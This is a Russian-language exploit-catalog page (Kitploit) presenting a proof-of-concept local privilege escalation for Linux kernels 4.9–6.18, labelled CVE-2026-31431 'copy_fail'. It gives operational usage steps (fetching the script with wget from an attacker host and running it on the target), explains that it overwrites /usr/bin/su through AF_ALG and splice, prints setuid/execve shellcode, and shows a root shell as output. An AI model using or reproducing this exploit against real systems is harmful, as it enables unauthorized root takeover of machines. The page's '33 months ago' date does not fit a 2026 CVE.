Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
copy-fail-CVE-2026-31431-shell — PoC shell-эксплойт для CVE-2026-31431 (copy_fail) — LPE в Linux через AF_ALG + перезапись page-cache через splice. Одношаговый, без гонки, ядро 4.9–6.18. | Kitploit
Инструменты/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

PoC shell-эксплойт для CVE-2026-31431 (copy_fail) — LPE в Linux через AF_ALG + перезапись page-cache через splice. Одношаговый, без гонки, ядро 4.9–6.18.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
33 месяцев назадЕщё не проверено

CVE-2026-31431 — эксплойт copy_fail

Локальное повышение привилегий через AF_ALG-сокет + перезапись page cache с помощью splice().

Перезаписывает бинарный файл SUID, доступный только для чтения (/usr/bin/su), минимальным ELF-файлом, который вызывает setuid(0) + execve("/bin/sh"). Без гонок, без привязки к дистрибутивам, с одного выстрела.

root@kitploit:~
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 в уязвимом диапазоне (4.9 – 6.18) — продолжаем
[*] Компиляция...
[+] Компиляция успешна — запуск

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Уязвимость

Сокет AF_ALG (crypto API) ядра Linux в сочетании с splice() позволяет выполнить запись в файл, открытый с флагом O_RDONLY, путём манипуляции page cache. Ядро пропускает проверку прав на запись в shortcut-ветке copy-on-write внутри splice-пути ALG-сокета — тот же класс ошибки, что и Dirty Pipe (CVE-2022-0847), но срабатывающий через другой код-путь, появившийся в ядре 4.9.


Затронутые версии

Диапазон ядраСтатус
< 4.9Не затронут (уязвимый код-путь отсутствует)
4.9 – 6.18Уязвим (~9 лет, 2017–2026)
≥ 6.19Исправлено

Протестировано

ДистрибутивЯдро
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Требования

  • Локальная оболочка на целевой системе (любой уровень привилегий)
  • Наличие gcc на целевой системе
  • Право записи в /tmp
  • Архитектура x86-64

Использование

root@kitploit:~
# На целевой системе
wget http://<ваш-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

Скрипт выполнит следующее:

  1. Проверит, попадает ли работающее ядро в уязвимый диапазон
  2. Скомпилирует встроенный C-эксплойт на целевой системе (без зависимости от zlib)
  3. Перезапишет /usr/bin/su полезной нагрузкой root-оболочки
  4. Запустит его

Как это работает

root@kitploit:~
AF_ALG-сокет (AEAD)
      │
      │  sendmsg() с подготовленными ancillary-данными (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (сокет операции)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

Splice-путь ядра внутри ALG-сокета пропускает проверку прав copy-on-write, записывая напрямую в page cache целевого файла, несмотря на то, что он открыт только для чтения. Полезная нагрузка (ELF-файл размером 160 байт) записывается по 4 байта за итерацию в течение 40 итераций.

Шеллкод полезной нагрузки:

root@kitploit:~
xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

Файлы

ФайлОписание
copy_fail_exp.shBash-скрипт — компилирует и запускает на целевой системе, Python не требуется
copy_fail_exp.pyОригинальная версия на Python для справки
copy_fail_exp_deobfuscated.pyДеобфусцированная и аннотированная версия на Python

Отказ от ответственности

Только для авторизованного тестирования безопасности и сред CTF/лабораторий. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

Скачать инструмент